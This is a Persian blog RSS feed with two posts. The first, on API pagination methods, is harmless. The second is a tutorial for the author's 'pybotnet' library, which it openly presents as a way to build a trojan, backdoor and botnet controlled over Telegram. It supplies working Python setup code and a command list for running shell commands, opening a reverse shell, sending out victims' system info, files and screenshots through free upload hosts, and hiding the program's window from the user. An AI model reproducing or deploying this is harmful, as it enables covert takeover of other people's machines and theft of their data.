<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"><channel><title>نوشته های onionj</title><link>https://virgool.ir/feed/@onionj</link><description>برنامه نویس و مهندس عمران!</description><language>fa</language><pubDate>2026-11-11 08:34:06</pubDate><image><url>https://files.virgool.ir/upload/users/271869/avatar/8yOzuB.jpeg</url><title>onionj</title><link>https://virgool.ir/@onionj</link></image><item><title>انواع روش‌های پیاده سازی api Pagination</title><link>https://virgool.ir/@onionj/انواع-روش-های-پیاده-سازی-api-pagination-avu8bwh8x4dn</link><description>سلام , در این نوشته میخواهم چند روش مرسوم صفحه‌بندی در ای‌پی‌آی را معرفی کنم :)در اندپوینت هایی که یک لیست بزرگ از آیتمها را بر می‌گردانند , ما به صفحه‌بندی نیاز داریم تا فشار زیادی به سرور, شبکه و... وارد نشود (آیتمها در اینجا میتواند لیستی از پستها و یا محصولات ما باشند). اولین روش  Offset Pagination :این روش که دلیل معروفیتش قابلیت LIMIT و  OFFSET در SQL ها است, میتواند در سرویس های کوچک استفاده شود, برای مثال با صدا زدن این اندپوینت سرور بیست آیتم بر می‌گرداند (آیتم 100 تا 120) : GET/items?limit=20&amp;offset=100 در حقیقت کاربر با offset به ما میگوید از آیتم چندم به بعد را میخواهد و با limit حداکثر تعداد آیتم های که میخواهد را مشخص میکند.مثال:کاربر این درخواست را میفرستد و 20 آیتم اول را میگیرد :GET /items?limit=20 سپس درخواست دوم را میفرستد  و 20 آیتم بعدی را میگیرد :GET /items?limit=20&amp;offset=20باز هم وقتی کاربر به صفحه سوم میرود برای گرفتن 20 آیتم بعدی این درخواست را میفرستد و از آیتم 40ام به بعد را میگیرد:GET /items?limit=20&amp;offset=40این درخواست ها در سمت سرور به کوئری های دیتابیس تبدیل میشوند,  برای مثال کوئری درخواست سوم:SELECT &#xA;        * &#xA;FROM &#xA;        Items&#xA;ORDER BY Id&#xA;LIMIT 20&#xA;OFFSET 40;مزیت ها:پیاده سازی راحت , در بیشتر مواقع فقط باید پارامترها را مستقیم به کوئری های SQL  بدهیم.درخواست ها در سرور Stateless میباشد.با پارامترهای sort_by سفارشی کار می کند.نقاط ضعف:این روش برای offset های بزرگ  بهینه نیست و فشار زیادی به دیتابیس می‌آورد, برای مثال دیتابیس برای یک  offset با عدد 1000000 باید از صفر شروع کند و یک‌میلیون آیتم را بشمارد  ,سپس از آنجا 20 آیتم را بخواند و آن 20 آیتم را برگرداند , (یک میلیون آیتم اول را هم که شمرده بود دور بریزد!).اگر آیتم جدید به دیتابیس اضافه کنیم امکان این وجود دارد که آیتم های تکراری برای کاربر ارسال شود. سناریو آیتم تکراری:درخواست اول کاربر:GET /items?offset=0&amp;limit=15در این مرحله ده آیتم به دیتابیس اضافه میکنیم...درخواست دوم کاربر: GET /items?offset=15&amp;limit=15 این درخواست فقط پنج آیتم جدید برای کاربر ارسال میکند و ده تا از آیتم‌ها تکراری هستند و کاربر آنها را در درخواست اول گرفته است ( در صفحه اول ده آیتم اضافه شده , به همین دلیل ده تا از آیتم های که قبلا عضو صفحه اول بودند به صفحه دوم منتقل شدند),  کاربر برای حل کردن این مشکل باید این درخواست را به عنوان درخواست دومش ارسال میکرد تا آیتم تکراری نگیرد: /items?offset=25&amp;limit=15  اما کاربر که نمیدانست چند آیتم جدید به دیتابیس اضافه شده؟! :( .حتی با وجود محدودیت‌ها، پیاده‌سازی و درک صفحه‌بندی Offset آسان است و می‌توان از آن در برنامه‌هایی استفاده کرد که لیست داده‌ها دارای تعداد و تغیرات کم هستند.روش دوم keyset pagination :این روش با استفاده از یکی از فیلد های دیتابیس عملیات مرتب کردن یا Sorting را انجام میدهد.مثال:فرض کنید آیتم های دیتابیس بر اساس تاریخ ایجاد آیتم به صورت نزولی مرتب شده استکاربر برای گرفتن آخرین آیتم های ساخته شده درخواست میفرستد و 20 آیتم میگیرد : GET /items?limit=20برای گرفتن آیتم های بعدی کاربر باید کمترین مقدار فیلد created یا همان تاریخ ایجاد را در آیتم های که در درخواست اول گرفته است بیابد (created : 2021-01-20T00:00:00)  و برای درخواست دوم آنرا به عنوان فیلتر ارسال کند تا فقط آیتم های که تاریخ ایجادشان با این تاریخ مساوی و یا از آن کمتر است را دریافت کند : GET /items?limit=20&amp;created:lte:2021-01-20T00:00:00و باز هم وقتی کاربر میخواهد به صفحه بعد برود باید کمترین مقدار created را بیابد و درخواست سوم را بسازد :GET /items?limit=20&amp;created:lte:2021-01-19T00:00:00درخواست دوم وقتی به کوئری دیتابیس تبدیل میشود:SELECT&#xA;        *&#xA;FROM&#xA;        Items&#xA;WHERE&#xA;        created &lt;= &#39;2021-01-20T00:00:00&#39;&#xA;ORDER BY Id&#xA;LIMIT 20مزیت ها:با فیلترهای موجود بدون منطق اضافی کار می کند. فقط به یک پارامتر URL اضافی نیاز دارید. وقتی داریم نسبت به جدیدترین آیتم ها آنها را مرتب میکنیم, زمانی که به دیتابیس آیتم های جدیدی اضافه شود باز هم به خوبی کار میکند.فشار زیادی به دیتابیس وارد نمیشود.نقاط ضعف:حتی زمانی که کاربر نیازی به فیلتر کردن ندارد او را مجبور به اینکار میکند.برای فیلدهای که امکان تکراری بودن در انها زیاد است کاربرد ندارد, مثل فیلد های دسته بندی.برای کاربران API استفاده از فیلدهای sort_by سفارشی پیچیده است زیرا کاربر باید فیلتر را بر اساس فیلد مورد استفاده برای مرتب سازی تنظیم کند.این نوع صفحه‌بندی میتواند برای داده‌های که دارای فیلد های مثل timestamp هستند استفاده شود.روش سوم seek pagination :این روش کامل کننده روش قبل است ,  با اضافه کردن یک after_id  یا star_id  میتوان بعضی از محدودیت های روش قبل را حذف کردمثال:(فرض کنید میخواهیم آیتمها نسبت به زمان ساخته شدن آنها به صورت صعودی صفحه بندی شوند)کاربر برای گرفتن 20 آیتم درخواست میفرستد : GET /items?limit=20سپس وقتی  میخواهد آیتم های صفحه بعد را بگیرد باید id آخرین آیتم گرفته شده را نیز برای سرور بفرستد , برای مثال در اینجا عدد 20 است : GET /items?limit=20&amp;after_id=20 و به همین ترتیب برای درخواست سوم باید id آخرین آیتم گرفته شده در درخواست قبلی را برای سرور بفرستد تا سرور بداند از آن آیتم به بعد را باید برای کاربر برگرداند:  GET /items?limit=20&amp;after_id=40درخواست دوم وقتی به کوئری دیتابیس تبدیل میشود :SELECT&#xA;    *&#xA;FROM&#xA;    Items&#xA;WHERE&#xA;  Id &gt; 20&#xA;LIMIT 20در مثال بالا همه چیز به خوبی کار میکند  , اما اگر بخواهیم دیتا را با فیلد ایمیل مرتب کنیم چه میشود؟در این حالت کلاینت چنین درخواستی برای بک‌اند میفرستد: GET /items?limit=20&amp;after_id=20&amp;sort_by=email بک‌اند برای هر درخواست نیاز دارد دو کوئری دیتابیس بزند,  ابتدا باید بداند ایمیل آن آیتم که کاربر  id  آن را در پارامتر after_id ارسال کرده است چیست, پس با کوئری اول ایمیل آن آیتم را میگرد,  سپس در کوئری دوم آیتم هارا با استفاده از ایمیل و id  مرتب میکند و فقط آیتم های که ایمیل انها بعد از آن ایمیل هست را بر میگرداند (ما بر اساس هر دو ستون، ایمیل و id مرتب‌سازی می‌کنیم تا اطمینان حاصل کنیم که مرتب‌سازی پایداری در صورت یکسان بودن دو ایمیل داریم؛ این برای حالت های که از فیلدی با خصوصیت تکرار بالا استفاده میکنیم حیاطی است)کوئری اول:SELECT&#xA;    email AS AFTER_EMAIL&#xA;FROM&#xA;    Items&#xA;WHERE&#xA;  Id = 20کوئری دوم:SELECT&#xA;    *&#xA;FROM&#xA;    Items&#xA;WHERE&#xA;  Email &gt;= [AFTER_EMAIL]&#xA;ORDER BY Email, Id&#xA;LIMIT 20مزیت ها:زمانی که به دیتابیس آیتم های جدیدی اضافه شود باز هم به خوبی کار میکند.عملکرد ثابت حتی با افست های بزرگ.نقاط ضعف:برای پیاده سازی در بک‌اند دارای پیچیدگی بیشتری نسبت به دو مورد اول دارد.اگر آیتمی از دیتابیس حذف شوند، after_id ممکن است یک شناسه معتبر نباشد.این روش صفحه‌بندی  با اینکه به کمی کار بیشتر در بک‌اند نیاز دارد، اما تضمین می‌کند که پیچیدگی اضافی به کلاینت‌ها/کاربران API اضافه نمی‌شود، و حتی با جستجوهای بزرگ‌تر هم کارآمد باقی می‌ماند.لینک اصلی مقاله :  https://www.moesif.com/blog/technical/api-design/REST-API-Design-Filtering-Sorting-and-Pagination </description><category>onionj</category><author>onionj</author><pubDate>Tue, 21 Dec 2021 00:01:16 +0330</pubDate></item><item><title>ساخت تروجان , بک دور و بات نت با پایتون و پنل تلگرام</title><link>https://virgool.ir/@onionj/ساخت-تروجان-بک-دور-و-بات-نت-با-پایتون-و-پنل-تلگرام-wxs2bk9hkqfx</link><description>اسب تروجان!سلام دوستان تاحالا  شده بخواید چند تا  سرور رو هم زمان کنترل کنید ؟ لپتاب هم دم دستتون نباشه ؟یا بخواید تویه کدتون یه تروجان اضافه کنید تا وقتی کد اجرا شد از سیستم قربانی دسترسی بگیرید؟یا حمله های ddos ؟!خب البته مورد دوم و سوم اصلا کار درستی نیست اینکارو نکنید! به هر حال, من درحال توسعه  یه کتابخونه پایتون  به اسم pybotnet هستم که اینکار هارو واسمون انجام میده!این کتابخانه از پایتون 3.6 به بالا پشتیبانی میکنهکنترل پنل ضد فیلتر تلگرام داره و روز به روز درحال پیشرفته :)در حال حاضر که من این متن رو مینویسم اخرین نسخش 0.20.7 هست و امکانات زیر رو داره:گرفتن کامند از تلگرام و اجرای اون کامندبصورت خودکار عملیات گرفتن کامند و ارسال پیام پروکسی میشه!گرفتن اطلاعات سیستم مثل ایپی , مک ادرس , مسیر اجرای اسکریت , سیستم عامل و ..گرفتن و اجرای کامند در شل لینوکس یا سی ام دی ویندوز و برگردوندن نتیجهشل معکوس, که میتونید با تاخیر کم با ترمینال تارگت کار کنید و خروجی دستوراتتون رو ببینیدارسال فایل به سیستم تارگتدریافت فایل های سیستم قربانی تا سقف ۵ گیگو یه سری امکانات دیگه که میتونید از داکیومنت اصلی بخونید:https:/pypi.org/project/pybotnet/خب بریم یکم کد بنویسیم :)اول کتابخونه رو با دستور ‍‍‍‍‍‍pip install pybotnet  نصب میکنید.و بعد اون رو در کد ایمپورت میکنیم:from pybotnet import pybotnet  خب واسه اینکه اسکریپت بتونه به تلگرام متصل بشه به یک ربات api تلگرام نیاز داریم که با استفاده از ربات  botfather خود تلگرام میتونید ربات api بسازید و اگر بلد نبودین یه سرچ کنید واسش کلی اموزش میاد کار سختی نیست, وقتی ربات رو ساختین توکن ربات رو بردارین و با استفاده از اکانتی که میخاید اون رو کنترل کنید ربات رو استارت کنید.و واسه اینکه کتابخونه pybotnet بدونه باید پیام ها رو به کی بفرسته یا از کی دستورات رو بگیره شما باید ایدی عددی اکانت تلگرامتون رو هم بدونید , میتونید به ربات userinfobot در تلگرام پیام بدین تا ایدی عددی اکانت رو بهتون بده.خب تا اینجا ما توکن ربات تلگرام و ایدی عددی اکانتمون رو داریم که میتونیم کد رو تکمیل کنیم و کلاس اصلی کتابخونه رو شبیه سازی کنیم کد تا اینجا به این شکل در میاد:from pybotnet import pybotnet  &#xA;# telegram api token (Get it from the telegram @botfather)&#xA;TELEGRAM_TOKEN = &#39;1468299547:ABHs_________MzZcYxF_e00000000000&#39;&#xA;&#xA;# telegram account number ID (get it from @userinfobot)&#xA;ADMIN_CHAT_ID = &#39;12345678910&#39;&#xA;&#xA;bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,&#xA;                        show_log=True, send_system_data=True, is_shell=True)تویه خط اخر کد بالا سه تا پارامتر دیگه هم به کلاس پاس دادیم, بیاید اونهارو هم توضیح بدم:اولیش که show_log  هست برای زمان های دیباگ استفاده میشه و اگه مثل الان مقدارش True باشه لاگ های هر متود و قسمت کد که اجرا میشه رو چاپ میکنه و حتما اگه نمیخاید کسی اون لاگ هارو ببینه مقدارش رو False  کنید.دومیش که send_system_data هست, اگه روشن باشه زیر هر پیامی که به ادمین میفرسته یه سری اطلاعات اضافه میکنه مثل مک ادرس , سیستم عامل , ای پی و لوکیشن ...سعی کنید این رو همیشه رویه حالت True  بزارید که اگه هم زمان چند جا کد رو اجرا کردین, بدونید هر پیام از کدوم سیستم داره میاد.سومیش که is_shell هست واسه زمانی استفاده میشه که شما میخاید کد رو با کتابخونه های مثل pyinstaller به برنامه اجرای تبدیل کنید , اگه کد رو بدون شل کامپایل کنید باید مقدار این پارامتر رو False  کنید. چه زمانی ممکنه کد رو بدون شل کامپایل کنید ؟ وقتای که میخاید برنامه در پس زمینه اجرا بشه و کاربر اون رو نبینه یا وقتی برنامتون گرافیک داره و دیگه شل رو نمیخاید.نکته اول: اگه مثلا is_shell  رویه False باشه و کامندی رو به ربات بدین تا بره و در cmd  اجرا کنه برنامه یه شل رویه دسکتاپ باز میکنه اجرا میکنه و میبنده!نکته دوم: اگه is_shell رو رویه حالت True بزارید اما برنامه رو بدون شل کمپایل کنید اپشن اجرای کامند در شل رو از دست میدین!خب بریم ادامه کد نویسی...ما میتونیم خودمون با استفاده از ماژول های کتابخونه  مرحله به مرحله کد رو بنویسیم, مثل گرفتن کامند از تلگرام و اجرای اون دستور یا مثلا اگه فلان کامند بود فلان اتفاق در کد بیوفته و یا استفاده از متود های  دریافت فایل, ارسال فایل , اجرای دستور در شل و ..  که خود کتابخونه داره یا متود های که بعدا بهش اضافه میشه..اما کتابخونه خودش یه ماژول داره که میتونه بصورت خودکار دستوراتی که میاد رو بگیره و چک کنه اگر دستور در لیست دستورات اصلی بود اون رو اجرا کنه. لیست دستورات رو میتونید تویه داکیومنت اصلی ببینید اما من انتهای این اموزش چند تا از اونارو میارم.خب بریم کد رو تکمیل کنیم:from pybotnet import pybotnet&#xA;import time&#xA;&#xA;# change TELEGRAM_TOKEN and  ADMIN_CHAT_ID to valid data:&#xA;&#xA;# telegram api token (Get it from the telegram @botfather)&#xA;TELEGRAM_TOKEN = &#39;1468299547:ABHs_________MzZcYxF_e00000000000&#39;&#xA;&#xA;# telegram account number ID (get it from @userinfobot)&#xA;ADMIN_CHAT_ID = &#39;12345678910&#39;&#xA;&#xA;&#xA;&#xA;# * is_sheel:          if you compile code without shell: is_sheel=False&#xA;# * show_log:          just for debugging&#xA;# * send_system_data:  send system short info in every bot messages in telegram&#xA;&#xA;bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,&#xA;                        show_log=False, send_system_data=True, is_shell=True)&#xA;&#xA;delay = 10 # کمتر از ده ثانیه نزارید &#xA;&#xA;while True:&#xA;    print(&#39;*-*&#39;*15)&#xA;    bot.get_and_execute_scripts_by_third_party_proxy()&#xA;    time.sleep(delay) &#xA; &#xA; خب وقتی کد بالا رو اجرا کنید میتونید دستورات زیر رو از طریق تلگرام به ربات بفرستین.نکته: نیازی به روشن کردن فیلترشکن واسه کد نیست چون خودکار دیتا رو جاهای مختلف پروکسی میکنه و دستورات رو میگیرهدستور ساده و کاربردی اول get_info  هست ,  کافیه این رو بفرستین تا اطلاعاتی از سیستمی که ربات اجرا شده بگیری.get_infoدستور دوم cmd  هست که میتونید باهاش یه کامند در شل لینوکس یا سی ام دی ویندوز تارگت اجرا کنید.cmd &lt;system command&gt; cmd mkdir new_foldercmd ls &lt;route&gt;cmd cd &lt;route&gt;نکته: از دستورات بی پایان استفاده نکنید.دستور سوم reverse_shelهست که وقتی این دستور رو وارد کنید ربات با دیلی خیلی کم دستورات شما رو میگیره و در ترمینال تارگت وارد میکنه و خروجی رو بر میگردون.. کار دستور بالا رو انجام میده ولی واسه زمانی استفاده میشه که تعداد دستوراتتون زیاد باشه و بخایید تارگت سریع جواب بدهبا exit  هم میتونید از شل معکوس خارج بشید نکته: اگه چند تارگت دارید که با یک توکن اجرا شدن باید قبل کامند reverse_shel مک ادرس اون سیستم مورد نظر رو هم بزارید:&lt;Target_MAC_Address&gt; reverse_shellیا اگر فقط یک تارگت دارید:reverse_shell زمانی که دستور ران شود ربات همچین چیزی واسه شما مینویسه که یعنی منتظر کامند شماست: /home/user=&gt;که به عنوان مثال شما واسش ls رو میفرستین.دستور چهارم export_file  هست , با این دستور میتونید  به سیستم تارگت فایل بفرستین.export_file &lt;link&gt;export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zipربات این لینک رو دانلود میکنه و در مسیری که اجرا شده میریزه.دستور پنجم  دستور import_file  هست, با این دستور میتونید از سیستم تارگت یک فایل رو یگیرید.import_file &lt;file_route&gt;import_file /home/onionj/folder/somting.pngوقتی این دستور رو اجرا کنید ربات اون فایل رو زیپ میکنه و اپلود میکنه تویه یه هاست رایگان و لینک دانلود رو واستون میفرسته, تایم اوت اپلود فایل 20 دقیقه هست ینی اگه تویه این تایم فایل اپلود نشده بود عملیات قطع میشه و اسکریپت به چرخه خودش بر میگرده , محدودیت حجم هم 5 گیگ هست.دستور اخری که اینجا میارم screenshotهست که وقتی واسه ربات بفرستین یه اسکرین شات میگیره و در یه سایت اپلود رایگان اپلودش میکنه و لینکشو واستون میفرستهواسه دیدن بقیه دستورات و دستورات جدیدی که اضافه میشه, میتونید از جدول داخل داکیومنت اصلی استفاده کنید, کتابخونه درحال پیشرفت هست و امکانات زیادی قراره بهش اضافه بشه مثل کی لاگر , دیداس و .. و شاید زمانی که این متن رو میخونید خیلی چیزا اضافه شده باشه پس حتما دایکومنت رو ببینید. لینک داکیومنت :https:/pypi.org/project/pybotnet/و واسه خوشحال کردن من میتونید این نوشته رو لایک کنید کامنت بزارید و یا اگه خاستین خیلی خیلی خوشحال بشم میتونید به پروژه در گیتهاب ستاره بدین و یا در نوشتنش کمک کنید یا بهم ایده بدین تا امکانات جدیدی اضافه کنم.لینک گیتهاب پروژه:‍‍‍‍‍‍‍https://github.com/onionj/pybotnetسوالی داشتین میتونید تویه کامنت های همینجا بپرسید و یا در گیتهاب پروژه issues باز کنید.موفق باشید. </description><category>onionj</category><author>onionj</author><pubDate>Fri, 16 Jul 2021 06:13:55 +0430</pubDate></item></channel></rss>